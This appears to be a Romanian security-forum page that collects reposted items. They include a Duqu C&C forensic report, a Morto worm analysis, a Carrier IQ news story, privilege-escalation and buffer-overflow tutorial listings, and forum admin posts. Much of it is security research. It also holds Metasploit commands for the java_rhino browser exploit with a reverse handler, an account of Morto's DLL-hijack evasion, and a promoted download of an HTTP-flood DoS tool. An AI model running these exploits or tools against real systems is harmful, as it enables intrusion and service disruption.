Rounding Pointers – Type Safe Capabilities with C++ Meta Programming Alexander Warg, Adam Lackorzynski Technische Universität Dresden Department of Computer Science Operating Systems Group {warg,adam}@os.inf.tu-dresden.de ABSTRACT Recent trends in secure operating systems indicate that an object-capability system is the security model with pre- eminent characteristics and practicality. Unlike traditional operating systems, which use a single global name space, object-capability systems name objects per protection do- main. This allows a ne-grained isolation of the domains and follows the principle of least authority. Programming in such an environment diers considerably from traditional programming models. The ne-grained ac- cess to functionality requires a programming environment that supports the programmer when using a capability sys- tem. In this paper, we present an object-oriented framework that uses the C++ programming language to oer a frame- work for building and using operating-system components and applications. Download: http://www.sigops.org/sosp/sosp11/workshops/plos/03-warg.pdf

[h=1]CSS Reference[/h]This an alphabetical list of CSS features. If you are going to add or modify a page, please fit in with the template CSS Reference:Property Template and modify as required. The basic template for example pages can be found here: samples/cssref/TEMPLATE.html. Feel free to discuss any questions or suggestions on the Talk:CSS Reference page. See also Mozilla CSS Extensions for Gecko-specific properties prefixed with -moz-. See Vendor-prefixed CSS Property Overview by Peter Beverloo for all prefixed properties. Link: https://developer.mozilla.org/en/CSS/CSS_Reference

Metasploit sniffing the victim's network by Mbarb 10 days ago Using the Metasploit framework to sniff the victim's network can reveals interesting network communication Un exemplu simplu de pentest.

Encyclopaedia of Windows Privilege Escalation O prezentare. Linux: Taviso LD_Preload SUID Binaries Race condition/Symlink Crappy perl/python script Bad permissions Windows: Taviso KiTrap0D Latest win32k.sys font bug metasploit:getSystem() No suid No env passing Online: https://docs.google.com/viewer?url=http://www.insomniasec.com/publications/WindowsPrivEsc.ppt Download: http://www.insomniasec.com/publications/WindowsPrivEsc.ppt

[h=4]Supplemental Buffer Overflow Tutorial Series[/h][h=4]Supplemental Buffer Overflow Tutorial Series - Part 1[/h]Description: In this video I introduce the purpose of this series. It is just another look at buffer overflows because practice and repetition make perfect. [h=4]Supplemental Buffer Overflow Tutorial Series - Part 2[/h]Description: We talk about When and Why a program crashes because of a buffer overflow. We diddle a little in gdb and perl [h=4]Supplemental Buffer Overflow Tutorial Series - Part 3[/h]Description: In this part of the series we are looking at when the program actually crashes. [h=4]Supplemental Buffer Overflow Tutorial Series - Part 4[/h]Description: In this video we make a small change to the program which removes the vulnerability. [h=4]Supplemental Buffer Overflow Tutorial Series - Part 5[/h]Description: In this video we discuss how to find where EIP is overwritten using Binary Reduction (aka Binary Search) [h=4]Supplemental Buffer Overflow Tutorial Series - Part 6[/h]Description: In this part of the series we find a place to make EIP jump to so that it can execute our own code instead of crashing. We talk about little endian, nop sleds, how to find space in memory, how to use gdb to examine memory. [h=4]Supplemental Buffer Overflow Tutorial Series - Part 7[/h]Description: Finally we go and find shellcode. We talk about how shellcode corresponds to byte code and where to find it. [h=4]Supplemental Buffer Overflow Tutorial Series - Part 8[/h]Description: We wrap up our buffer overflow exploit and make it execute a shell for us. We also recap what happened to spawn the shell code and some of the implications. I introduce the Corelan tutorial serieis aswell. Sursa: - http://www.securitytube.net/video/2524 - http://www.securitytube.net/video/2525 - http://www.securitytube.net/video/2526 - http://www.securitytube.net/video/2527 - http://www.securitytube.net/video/2528 - http://www.securitytube.net/video/2529 - http://www.securitytube.net/video/2530 - http://www.securitytube.net/video/2531

Cross-Platform Java Exploit (Cve-2011-3544) Demonstration Description: This video uses Armitage and Metasploit to demonstrate a new cross-platform Java exploit. This exploit uses a loophole in the Java API to execute a payload outside of Java's security sandbox without requiring a user to approve some action. This works in Firefox, Internet Explorer, and Safari on Windows, MacOS X, and presumably Linux. Java 1.6.0u27, Java 1.7.0, and older versions are vulnerable. Sursa: Cross-Platform Java Exploit (Cve-2011-3544) Demonstration

[h=2]Exploit for critical Java vulnerability added to Metasploit[/h] Posted by Jonathan Cran on Nov 30, 2011 12:11:20 PM @_sinn3r and Juan Vasquez recently released a module which exploits the Java vulnerability detailed here by mihi and by Brian Krebs here. This is a big one. To quote Krebs: "A new exploit that takes advantage of a recently-patched critical security flaw in Java is making the rounds in the criminal underground." To determine if you're running java, you can use this link, and click “Do I have Java?” below the big red 'Free Java Download' button." We've tested the java_rhino exploit on a number of platforms, and below is a breakout of the results This vulnerability is particularly pernicious, as it is cross-platform, unpatched on some systems, and is an easy-to-exploit client-side that does little to make the user aware they're being exploited. [h=4]Microsoft Windows:[/h] Both Windows XP and Windows 7 were tested for vulnerability, a session was generated in every browser that was tested when the system was running java versions prior to the latest. Note that Chrome did prompt the user to let them know the java plugin was out of date, though users can still click 'Run this time' and allow the exploit to complete. No other browsers prompted the user. WinXP SP3 x86 / IE 7 - SESSION CREATED with versions prior to 1.6.0_29-b11 WinXP SP3 x86 / Firefox - SESSION CREATED with versions prior to 1.6.0_29-b11 WinXP SP3 x86 / Chrome 15.0.874 - SESSION CREATED with versions prior to 1.6.0_29-b11 WinXP SP3 x86 / Safari 5.1.1 - SESSION CREATED with versions prior to 1.6.0_29-b11 Win7 x64 / IE 8 - SESSION CREATED with versions prior to 1.6.0_29-b11 Win7 x64 / IE 9.0.8 - SESSION CREATED with versions prior to 1.6.0_29-b11 [h=4]Ubuntu Linux:[/h] Several linux desktops were tested, one with the Sun Java plugin, and another with the Iced Tea plugin. The Iced Tea java plugin was determined to not be vulnerable, though it wasn't tested extensively, it may still be vulnerable. An attempt was made to update the Ubuntu 10.04 device, and the java package was downloaded and linked to system java, however, the plugin was not installed as part of this process, and thus, even though the device was running the latest (build 1.6.0_29-b11), the 10.04 device remained vulnerable. YOU MUST FOLLOW THESE INSTRUCTIONS TO INSTALL THE JAVA PLUGIN: http://www.oracle.com/technetwork/java/javase/manual-plugin-install-linux-136395 .html - However, even after following these instructions, i was unable to get this process to work, and simply disabled java on the vulnerable device. Once again, Chrome was the only browser that prompted the user that there may be a problem with the plugin. Firefox did not, however, when i went to disable the plugin, i noticed that the 'update' button lead me to a page which indicated that Java was out of date and vulnerable. It would be ideal if it prompted the user at runtime. Ubuntu 10.04 LTS x64 / Firefox (Oracle Java 1.6.0_26) SESSION CREATED - no package available in the repositories Ubuntu 10.04 LTS x64 / Chrome (Oracle Java 1.6.0_26) - SESSION CREATED - no package available in the repositories Ubuntu 11.10 x64 / Chrome (iced tea 1.6.0_23) - NO SESSION CREATED, null pointer exception in the iced tea plugin [h=4]Apple OS X:[/h] Interesting issue here, I was forced to update, restart, then update again to get the updated sun java plugin. Apparently one of the updates forced a restart in the middle of the update process, and thus, a second update was required to get the latest java package. To be fair, this system wasn't updated in recent memory, but it's important to note that multiple updates may be required. This process required approximately one hour to complete. Once again, Chrome was the only browser that prompted the user that there may be a problem with the plugin. OS X 10.6.6 x64 / Chrome 15.0.874 - SESSION CREATED with versions prior to 1.6.0_29-b11 OS X 10.6.6 x64 / Firefox 6.0.1 - SESSION CREATED with versions prior to 1.6.0_29-b11 OS X 10.6.6 x64 / Safari 5.0.3 - SESSION CREATED with versions prior to 1.6.0_29-b11 [h=3]Testing for the java_rhino vulnerability: [/h] You can test this exploit in your own environment with the (framework) instructions below. We are currently prepping our weekly update for our commercial customers, it will be available in the Pro / Express / Community product later today. msf exploit(handler) > use exploit/multi/browser/java_rhino msf exploit(java_rhino) > info msf exploit(java_rhino) > set URIPATH xxxx msf exploit(java_rhino) > exploit [*] Exploit running as background job. [*] Started reverse handler on 10.0.0.11:4444 [*] Using URL: hxxp://0.0.0.0:8080/xxxx [*] Local IP: hxxp://10.0.0.11:8080/xxxx [*] Server started. Point vulnerable systems at the URL, and wait for your sessions. Sursa: https://community.rapid7.com/community/metasploit/blog/2011/11/30/test-results-for-javarhino

The Mystery of Duqu: Part Six (The Command and Control servers) VitalyK Kaspersky Lab Expert Posted November 30, 15:10 GMT Over the past few weeks, we have been busy researching the Command and Control infrastructure used by Duqu. It is now a well-known fact that the original Duqu samples were using a C&C server in India, located at an ISP called Webwerks. Since then, another Duqu C&C server has been discovered which was hosted on a server at Combell Group Nv, in Belgium. At Kaspersky Lab we have currently cataloged and identified over 12 different Duqu variants. These connect to the C&C server in India, to the one in Belgium, but also to other C&C servers, notably two servers in Vietnam and one in the Netherlands. Besides these, many other servers were used as part of the infrastructure, some of them used as main C&C proxies while others were used by the attackers to jump around the world and make tracing more difficult. Overall, we estimate there have been more than a dozen Duqu command and control servers active during the past three years. Before going any further, let us say that we still do not know who is behind Duqu and Stuxnet. Although we have analyzed some of the servers, the attackers have covered their tracks quite effectively. On 20 October 2011 a major cleanup operation of the Duqu network was initiated. The attackers wiped every single server they had used as far back as 2009 – in India, Vietnam, Germany, the UK and so on. Nevertheless, despite the massive cleanup, we can shed some light on how the C&C network worked. [h=3]Server ‘A’ – Vietnam[/h] Server ‘A’ was located in Vietnam and was used to control certain Duqu variants found in Iran. This was a Linux server running CentOS 5.5. Actually, all the Duqu C&C servers we have found so far run CentOS – version 5.4, 5.5 or 5.2. It is not known if this is just a coincidence or if the attackers have an affinity (exploit?) for CentOS 5.x. When we began analyzing the server image, we first noticed that at least the ‘root’ folder and the system log files folder ‘/var/log/’ had a ‘last modified’ timestamp of 2011-10-20 18:07:28 (UTC+3). However, both folders were almost empty. Despite the modification date/time of the root folder, there were no files inside modified even close to this date. This indicates that certain operations (probably deletions / cleaning) took place on 20 October at around 18:07:28 GMT+3 (22:07:28 Hanoi time). Interestingly, on Linux it is sometimes possible to recover deleted files; however, in this case we couldn’t find anything. No matter how hard we searched, the sectors where the files should have been located were empty and full of zeroes. By bruteforce scanning the slack (unused) space in the ‘/’ partition, we were able to recover parts of the ‘sshd.log’ file. This was kind of unexpected and it is an excellent lesson about Linux and the ext3 file system internals; deleting a file doesn’t mean there are no traces or parts, sometimes from the past. The reason for this is that Linux constantly reallocates commonly used files to reduce fragmentation. Hence, it is possible to find parts of older versions of a certain file, even if they were thoroughly deleted. As can be seen from the log above, the root user logged in twice from the same IP address on 19 July and 20 October. The latter login is quite close to the last modified timestamps on the root folder, which indicates this was the person responsible for the system cleanup – bingo! So, what exactly was this server doing? We were unable to answer this question until we analyzed server ‘B’ (see below). However, we did find something really interesting. On 15 February 2011 openssh-5.8p1 (the sourcecode) was copied to the machine and subsequently installed. The distribution is “openssh_5.8p1-4ubuntu1.debian.tar.gz” with an MD5 of ‘86f5e1c23b4c4845f23b9b7b493fb53d’ (stock distribution). We can assume the machine has been running openssh-4.3p1 as included in the original distribution of CentOS 5.2. On 19 July 2011 OpenSSH 5.8p2 was copied to the system. It was compiled and binaries were installed into folders (/usr/local/sbin). The OpenSSH distribution was again the stock one. The date of 19 July is important because it indicates when the new OpenSSH 5.8p2 was compiled in the system. Just after that, the attackers logged in, probably to check if everything was OK. One good way of looking at the server is to check the file deletions and to put them into an activity graph. On days when there was notable operations going on, you see a spike: For our particular server, several spikes immediately raise suspicions: 15 February and 19 July, when new versions of OpenSSH were installed; 20 October, when the server cleanup took place. Additionally, we found spikes on 10 February and 3 April, when certain events took place. We were able to identify “dovecot” crashes on these dates, although we can’t be sure they were caused by the attackers (“dovecot” remote exploit?) or simply instabilities. Of course, for server ‘A’, three big questions remain: How did the attackers get access to this computer in the first place? What exactly was its purpose and how was it (ab-)used? Why did the attackers replace the stock OpenSSH 4.3 with version 5.8? We will answer some of these at the end. [h=3]Server ‘B’ – Germany[/h] This server was located at a data center in Germany that belongs to a Bulgarian hosting company. It was used by the attackers to log in to the Vietnamese C&C. Evidence also seems to indicate it was used as a Duqu C&C in the distant past, although we couldn’t determine the exact Duqu variant which did so. Just like the server in Vietnam, this one was thoroughly cleaned on 20 October 2011. The “root” folder and the “etc” folder have timestamps from this date, once again pointing to file deletions / modifications on this date. Immediately after cleaning up the server, the attackers rebooted it and logged in again to make sure all evidence and traces were erased. Once again, by scanning the slack (unused) space in the ‘/’ partition, we were able to recover parts of the ‘sshd.log’ file. Here are the relevant entries: First of all, about the date – 18 November. Unfortunately, “sshd.log” doesn’t contain the year. So, we can’t know for sure if this was 2010 or 2009 (we do know it was NOT 2011) from this information alone. We were, however, able to find another log file which indicates that the date was 2009: What you can see above is a fragment of a “logwatch” entry which indicates the date of breach to be 23 November 2009, when the root user logged in from the IP address from 19 November, in the “sshd.log”. The other two messages are also important – they are errors from “sshd” indicating a port 80 and port 443 redirection was attempted; however, they were already busy. So now we know how these servers were used as C&C – port 80 and port 443 were redirected over sshd to the attackers’ server. These Duqu C&C were never used as true C&C – instead they were used as proxies to redirect traffic to the real C&C, whose location remains unknown. Here’s what the full picture looks like: [h=3]Answering the questions[/h] So, how did these servers get hacked in the first place? One crazy theory points to a 0-day vulnerability in OpenSSH 4.3. Searching for “openssh 4.3 0-day” on Google finds some very interesting posts. One of them is (https://www.webhostingtalk.com/showthread.php?t=873301): This post from user “jon-f”, which dates back to 2009, indicates a possible 0-day in OpenSSH 4.3 on CentOS; he even posted sniffed logs of the exploit in action, although they are encrypted and not easy to analyze. Could this be the case here? Knowing the Duqu guys and their never-ending bag of 0-day exploits, does it mean they also have a Linux 0-day against OpenSSH 4.3? Unfortunately, we do not know. If we look at the “sshd.log” from 18 November 2009, we can, however, get some interesting clues. The “root” user attempts to log in using a password multiple times from an IP in Singapore, until they finally succeed: Note how the “root” user tries to login at 15:21:11, fails a couple of times and then 8 minutes and 42 seconds later the login succeeds. This is more of an indication of a password bruteforcing rather a 0-day. So the most likely answer is that the root password was bruteforced. Nevertheless, the third question remains: Why did the attackers replace the stock OpenSSH 4.3 with version 5.8? On the server in Germany we were able to recover parts of the “.bash_history” file just after the server was hacked: The relevant commands are “yum install openssh5”, then “yum update openssh-server”. There must be a good reason why the attackers are so concerned about updating OpenSSH 4.3 to version 5. Unfortunately, we do not know the answer to this question. On an interesting note, we observed that the attackers are not exactly familiar with the “iptables” command line syntax. Additionally, they are not very sure about the “sshd_config” file format either, so they needed to bring up the manual for it (“man sshd_config”) as well as for the standard Linux ftp client. What about the “sshd_config” file, the sshd configuration”? Once again, by searching the slack space we were able to identify what they were after. In particular, they changed the following two lines: GSSAPIAuthentication yes UseDNS no While the second one is relevant for speed, especially when performing port direction over tunnels, the first one enables Kerberos authentication. We were able to determine that in other cases exactly the same modifications were applied. [h=3]Conclusion:[/h] We have currently analyzed only a fraction of the available Duqu C&C servers. However, we were able to determine certain facts about how the infrastructure operated: The Duqu C&C servers operated as early as November 2009. Many different servers were hacked all around the world, in Vietnam, India, Germany, Singapore, Switzerland, the UK, the Netherlands, Belgium, South Korea to name but a few locations. Most of the hacked machines were running CentOS Linux. Both 32-bit and 64-bit machines were hacked. The servers appear to have been hacked by bruteforcing the root password. (We do not believe in the OpenSSH 4.3 0-day theory - that would be too scary!) The attackers have a burning desire to update OpenSSH 4.3 to version 5 as soon as they get control of a hacked server. A global cleanup operation took place on 20 October 2011. The attackers wiped every single server which was used even in the distant past, e.g. 2009. Unfortunately, the most interesting server, the C&C proxy in India, was cleaned only hours before the hosting company agreed to make an image. If the image had been made earlier, it’s possible that now we’d know a lot more about the inner workings of the network. The “real” Duqu mothership C&C server remains a mystery just like the attackers’ identities. We would also like to send a question to Linux admins and OpenSSH experts worldwide – why would you update OpenSSH 4.3 to version 5.8 as soon as you hack a machine running version 4.3? What makes version 5.8 so special compared to 4.3? Is it related to the option “GSSAPIAuthentication yes” in the config file? We hope that through cooperation and working together we can cast more light on this huge mystery of the Duqu Trojan. Kaspersky Lab would like to thank the companies PA Vietnam, Nara Syst and the Bulgarian CyberCrime unit for their kind support in this investigation. This wouldn’t have been possible without their cooperation. You can contact the Kaspersky Duqu research team at “stopduqu AT Kaspersky DOT com”. Sursa: http://www.securelist.com/en/blog/625/The_Mystery_of_Duqu_Part_Six_The_Command_and_Control_servers

Morto Architecture Review Posted by pdrimel on Nov 11, 2011 7:26:29 PM Introduction Morto is a self-replicating malware, i.e. a worm that exploits Windows servers with weak passwords through the Remote Desktop Protocol (RDP). It was first detected in July of 2011 and was held responsible for a 200-fold increase in RDP scanning activity from approximately 500 sources to over 100,000 sources [10]. In typical malware fashion it looks for common security software and disables their function, once it has successfully infiltrated the machine. Then it connects to its command & control server to wait for instructions and receive software updates. Even though the number of Morto infections was not considered high [3] [6] compared to other notorious malware types, Morto has interesting algorithms in its internals, and this article will focus on of them. Also, there was rumor [11] about a possible version of Morto and this will be discussed in the section titled Morto Variant. More details about Morto’s history and its activities can be found at [1] and [2]. Architecture Morto can be divided in three components, as shown in Figure 1. The dropper is the executable file, which, in order to call the loader, drops the embedded malicious DLL into the system and calls regedit.exe, which is the application that executes the loader. Once the loader is executed, it creates a service in the system and drops another malicious DLL, which is then called by the malicious service. This second DLL is responsible to call the payload. Most of the available public analysis, such as [1] and [2], describe Morto's activities and its three components: dropper, loader and payload. However, little is known about how the components are interacting between them. This article will focus on how the dropper and loader work in conjunction to execute the payload. In particular we will analyze and answer the following questions regarding Morto: Why delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, which stores the list of executed programs through the run dialog? How is regedit actually executed in order to load malicious DLLs? How does the loader execute the payload? What is sens32.dll? What is HKLM\SYSTEM\WPA\sn? Why is it called “Morto”, which means dead in Portuguese? Actually, we don't know the answer to that one. In the next sections, each component will be described in more details focusing on its internal algorithms. Dropper MD5 2eef4d8b88161baf2525abfb6c1bac2b SHA1 0bbb014657bf4459faa2e6faf11d0559b196187c The dropper is divided in three parts as shown in Figure 2. Part one removes obfuscation in the data section, turning it into a “plain” code which is executed later by the entire malware. Part two stores data into the registry which is used later by the malware. Finally, part three drops the loader into the system and executes “regedit.exe”. The three parts are described in more details below. Dropper - Part one It starts by allocating memory through ZwAllocateVirtualMemory and copying itself into this area. At this time, the code in memory is obfuscated, and being so, Morto will then de-obfuscate the code and copy the “plain” code to another memory area, allocated through VirtualAlloc. Now, the code is ready to be executed, and Morto finally calls it. Dropper - Part two Part two calculates a random number using function GetTickCount, srand and rand, which is then stored in HKLM\SYSTEM\WPA\id. It then attempts to read HKLM\SYSTEM\WPA\md which does not exist yet, on a non-infected machine. It continues its execution by allocating memory and copying obfuscated data into it, which is later stored in HKLM\SYSTEM\WPA\md. Also, another block of memory is allocated and a DLL is copied into it. Then, it executes GetSystemTime and stores its results in HKLM\SYSTEM\WPA\it as well as creates a file under c:\windows\offline web pages\ with its name based on GetSytemTime. Once the plain code execution finishes, a call is made to a function which receives “Drop” as its parameter. This function returns an address which is the third part of the dropper, that will be discussed in the next section. It is interesting here that the malware itself confirms that it will “drop” something onto the system calling that function. Figure 3 shows the call to the function which received “Drop” as a parameter. Dropper – Part three Part three of the dropper starts by attempting to create a file in \\tsclient\a\ whose name is constructed by a fixed prefix ID plus the random value obtained in part two, which was saved in registry key HKLM\SYSTEM\WPA\id. The malware does not even check if a RDP session is opened or if the drive is already mapped: an attempt to create this file could be a way to check if the system is already infected, but since the ID is random this might not be the case. It then deletes the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, but the reason for that is still unclear. Next, it creates the registry key HKLM\SYSTEM\WPA\md and adds to it the data that was allocated in part two: this seems to be the payload. Then the DLL c:\windows\clb.dll is created, using the data copied by part one, and its MAC times (modification time, access time and creation time) are changed based on the valid DLL c:\windows\wmi.dll. This is used to fool an analyst who would look for last changed files on the system. Figure 4 shows malicious DLL c:\windows\clb.dll after the MAC times change. Finally, regedit is executed to load the malicious DLL c:\windows\clb.dll. This is when things gets really interesting. Instead of just calling regedit.exe through common functions such as System, the dropper enumerates windows until finds a run dialog window, then changes its text to regedit.exe and clicks on button “OK”. The user does not see any window opening; however, if we open run dialog ourselves, regedit.exe is clearly visible. Figure 5 shows run dialog window before button “OK” is executed. The use of the run dialog window explains why it previously deleted registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU which lists the commands executed through the run dialog. Before we continue with the loader analysis, it is important to understand how the malicious DLL clb.dll, which is placed under c:\windows, is executed by regedit. This is done by the search order which Windows looks for DLL as described at [4] and explained from a malware standpoint at [5]. But basically, once an application loads a DLL, if its name is not listed under HKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs, Windows operating system will check on the application’s path. Since clb.dll is not listed under the KnownDLLs registry key and regedit.exe is placed under c:\windows, it will look for clb.dll under c:\windows directory and execute its version of the clb.dll, that is the malicious one, instead of the original c:\windows\system32\clb.dll. Using the sysinternals tool [7] procmon we can clearly see the malicious DLL clb.dll getting executed by regedit.exe, as depicted by Figure 6. Loader The loader is also divided in three parts, as shown in Figure 7. Part one checks if the calling process is rundll32.exe, which is responsible for load DLLs into the system, and tries to open an existing file probably for Morto to check if the system has been already infected. Part two has the same function as dropper’s part two; however in this case, it reads the registry key HKLM\SYSTEM\WPA\md. Part three simply calls the payload. The next sections will describe the three loader parts. Loader – Part one First, the loader checks if the calling process is rundll32.exe. Since I executed the loader through OllyDBG debugger [8], loaddll.exe was used instead of rundll32.exe because loaddll.exe lets us debug a DLL instead of just execute it such as rundll32.exe. But on the payload, Morto executes rundll32.exe in order to execute malicious DLL on an infected system. If this part was called by rundll32.exe, the malware would try to open the existing file \\tsclient\a\moto, which where the name Morto came from and that is most likely to be used to check if system has been already infected. It also reads the first 4 bytes of c:\windows\winhlp32.exe, but if it does not exist, it tries to read the first 4 bytes of c:\windows\system32\write.exe. The first 4 bytes are 0x4D, 0x5A, 0x90, 0x00, which are common for every PE file. One may initially thought that such bytes would be inserted at beginning of HKLM\SYSTEM\WPA\md to and make it an executable. However, that was not the case, and so those 4 bytes might be used by the payload itself for another reason that is still unclear or they are were just another trick used by the author to fool the analyst. Loader – Part two The part two has almost the same function as the dropper’s part two: the only difference is that here the HKLM\SYSTEM\WPA\md already exists and its contents are read and placed into a buffer. Again, a call is made to a function which returns the address for where the execution will be jumped to and represents the part three. Regarding the parameter, at this time the string “Load” is used as parameter instead of “Drop”: this parameters shows that the malware is attempting to execute the loader. Loader – Part three Part Three deletes again the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU and then copies the valid file c:\windows\system32\wmi.dll to c:\windows\temp\ntshrui.dll. Then, a service named “6to4” is created which is the first string returned by a query on HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs. The binary path of service is set to C:\WINDOWS\system32\svchost.exe –k netsvcs, and then the service parameter is changed to c:\windows\temp\ntshrui.dll. After that, the real malicious c:\windows\temp\ntshrui.dll is created. At this time, we have a service created that, when executed, loads another malicious DLL that seems to be the payload. Figure 8 shows the malicious service created while on stopped state. Before the potential payload (DLL c:\windows\temp\ntshrui.dll) gets executed, the loader still changes some configuration on the service Sens, which is responsible for monitor system events [9], loader will first copy the valid file c:\windows\system32\sens.dll to c:\windows\system32\Sens32.dll, change HKLM\SYSTEM\CurrentControlSet\Services\Sens\DependOnService to NULL and HKLM\SYSTEM\CurrentControlSet\Services\Sens\Group to SchedulerGroup, and finally lastly modify the parameter stored at HKLM\SYSTEM\CurrentControlSet\Services\Sens\Parameters\ServiceDll to c:\windows\system32\sens32.dll. This service might be used later by the payload. Looking at ntshrui.dll, it is clear how the payload is executed: Morto checks if the calling process is svchost.exe and, if so, another part of the plain code is called and a thread is created pointing to the real payload. Morto Variant MD5 4a15bb80d860afff0164baa7bf99285c SHA1 3d2704e55637bf8460d3e16ac5bacd71b2d18a45 There was a rumor about a new Morto variant [11], we executed and analyzed it but concluded it is innocuous since it does not perform any change on the system, nor any network activity. Also, the malware does not check if it is running on a virtual environment or any other thing that would make it not execute. Probably, it was considered a possible Morto variant for two reasons: It creates a Mutex object [12], which is commonly used by malware to check if a machine has been already infected, with the name “_MOTOCCATK_”. Figure 9 shows assembly code responsible to create Mutex. It reads contents from the HKLM\SYSTEM\WPA registry key which is used by Morto. Figure 10 shows Morto variant reading the registry key HKLM\SYSTEM\WPA. Then, we developed a little tool named check_mutex.exe which helps detect malware that uses mutex. Basically, once a malicious mutex is known, just run check_mutex.exe passing the malicious mutex name as a parameter, and it will check if a process is running with the given mutex name, and if so, it will display its process ID. Then, even though Morto variant does not attempt to harm the system, we put a breakpoint after a call is made to CreateMutexA function and executed check_mutex on the system to make sure it is working properly. Figure 11 shows check_mutex in execution. Thanks to ISC Handlers who provided us sample for analysis. Thanks to @Ivanlef0u who developed code to list handles, and made it public, which helped a lot on check_mutex development. Conclusion Despite its interesting payload, the way Morto is executed is also very interesting. First, placing a malicious DLL into %SystemRoot% directory and calling the valid executable regedit.exe instead of a malicious executable is an interesting choice of execution, probably designed to bypass malware detection algorithms. Second, the way that it executes regedit.exe is uncommon, most likely used to avoid detection as well. Third, it uses another malicious DLL as a service to get it executed. In conclusion, as malware evolves we need to make sure protection mechanisms are in place to detect such behaviors, not only analyzing its payload but also how it gets executed. This will allow us to develop mechanisms to defend against these threats independently of its activities. References [1] http://www.f-secure.com/v-descs/worm_w32_morto_a.shtml [2] Encyclopedia entry: Worm:Win32/Morto.A - Learn more about malware - Microsoft Malware Protection Center [3] More on Morto - Microsoft Malware Protection Center - Site Home - TechNet Blogs [4] Dynamic-Link Library Search Order [5] https://blog.mandiant.com/archives/1207 [6] Morto: RDP worm of death? | Naked Security [7] Sysinternals - Windows Sysinternals: Documentation, downloads and additional resources Meet “Morto the Magic Worm” - Security Labs [8] http://www.ollydbg.de/ [9] http://msdn.microsoft.com/en-us/library/aa940303(v=winembedded.5).aspx [10] ISC Diary | Increased Traffic on Port 3389 [11] ISC Diary | More RDP Worm Variants? [12] http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx Morto: More than Meets the Eye - SpiderLabs Anterior contagio: Aug 28 Morto / Tsclient - RDP worm with DDoS features Windows Remote Desktop Worm "Morto" Spreading - F-Secure Weblog : News from the Lab Sursa: https://community.qualys.com/blogs/securitylabs/2011/11/11/morto-architecture-review

Steve Jobs Was Right, Android Logs Everything By John Brownlee (7:47 am, Nov 30) Back in April, Apple had a bit of a PR problem when it was discovered that iPhones were storing a cache of data on which GPS locations that handset had visited in an unencrypted file. The whole thing was just a bug, but the controversy was dubbed LocationGate, and Apple even had to testify in front of the Senate about the matter. The whole fiasco even prompted an email from Steve Jobs, which dropped something of a bombshell: he said Apple doesn’t track anyone’s location, but that Android tracked everyone. At the time, there wasn’t a lot of proof to back up Steve’s assertion, but as it often does, time has proven Steve Jobs right. Android phones do track you. In fact, software that comes pre-installed on millions of Android, BlackBerry and Nokia phones log everything you do with your device, and sends them off secretly to its own servers. 25-year-old Android developer Trevor Eckhart has discovered a piece of software that comes installed on most Android, BlackBerry and Nokia phones called Carrier IQ secretly logs everything a user does with his or her phone, including text messages, encrypted web searches, phone calls, location and, well, you name it. What is Carrier IQ? Ostensibly, it is software meant to monitor a user’s experience with a phone so that carriers and phone manufacturers can do quality control. However, Eckhart calls the software a “rootkit,” which prompted Carrier IQ to threaten him with a huge lawsuit and deny that its software logs keystrokes. To see how invasive Carrier IQ is, a video posted by Eckhart shows that the software not only intercepts encrypted web searches, but logs each number as he dials it, and even received or sent text messages. Once logged, Carrier IQ then sends all of this data to its own servers. That’s incredible. One privately held company that almost no one has ever heard of has the complete logs of every email, phone call, web search and text message ever sent or received by millions of Android, Blackberry and Nokia users. Absolutely insane. Even worse? There’s no way to opt out of the Carrier IQ “service.” On Android phones, your only choice is to root your phone and replace the operating system with one without the software pre-installed. This is absolutely insane. Apple was practically crucified over LocationGate, which was just a cache of GPS locations stored on users’ home machines. Meanwhile, almost every Android phone out there is reading people’s emails and logging their passwords, while no one bats an eye. [via Threat Level] Sursa: Steve Jobs Was Right, Android Logs Everything | Cult of Mac

Assassin DoS 2.0.3 - Created By MaxPainCode MaxPainCode develop a new dos tool is based on a new attack that uses HTTP Flood to get the site down, this will work if you try with big dedicated server. Another Feature of Assassin DoS is that it will not take all your resources as the most DoS do. Also its like only 100 mili seconds delay when hitting the target and its available for windows. Same Issue is Discussed with Microsoft Security Response Center by Developer of This tool. Download: http://www.4shared.com/file/h1hRW1Tn/Assassin_DoS_203.html Sursa: http://thehackernews.com/2011/11/assassin-dos-203-created-by-maxpaincode.html

Sa speram ca o sa te adaptezi. Bun venit.

Momentan intampinam mici probleme tehnice. Nu au fost sterse conturi/topicuri, ci au fost niste probleme (cu baza de date) si am pus un backup de azi de la ora 12:00 parca. Din aceasta cauza au disparut utilizatori si topicuri. Acum ar trebui sa fie ok, dar e posibil sa mai apara astfel de probleme. Dar se va rezolva (tex rullz) in cel mai scurt timp posibil. V-as ruga sa nu imi mai trimiteti PM pentru orice problema si sa postati aici sau in topicul cu "RST upgrade", pentru a fi mai usor de sesizat toate problemele.

O sa mai incerc azi sa repar o parte dintre probleme (apoi ma ocup si de sugestii, de culori si altele). Vreau insa ca cei carora le apare acel chenar verde sa isi reinstaleze browserul si sa imi spuna daca apare la fel dupa reinstalare. La culori mai sunt multe de modificat, dar le iau la rand.

Nu, acela e un bot, il logheaza pe gmail ca sunt cateva linii de cod in C# si trimite mail cu acel cont. Dar asta nu inseamna ca nu e infectat. Daca nu porneste foarte probabil e infectat.

Da, si mie mi se pare ciudat: C:\Users\Ionut>ping l33t.ro Pinging l33t.ro [127.0.0.1] with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Perfect. Multumim pentru feedback, dar imi e lene sa mai repar din ele asta-seara, maine o sa ma ocup de ce pot. Mai sunt si mici probleme temporare de la server, dar o sa se rezolve. V-as ruga sa dati un clear la cache de la browsere, am mai discutat cu cineva si dupa ce a reinstalat browserul nu au mai aparut problemele de dinainte.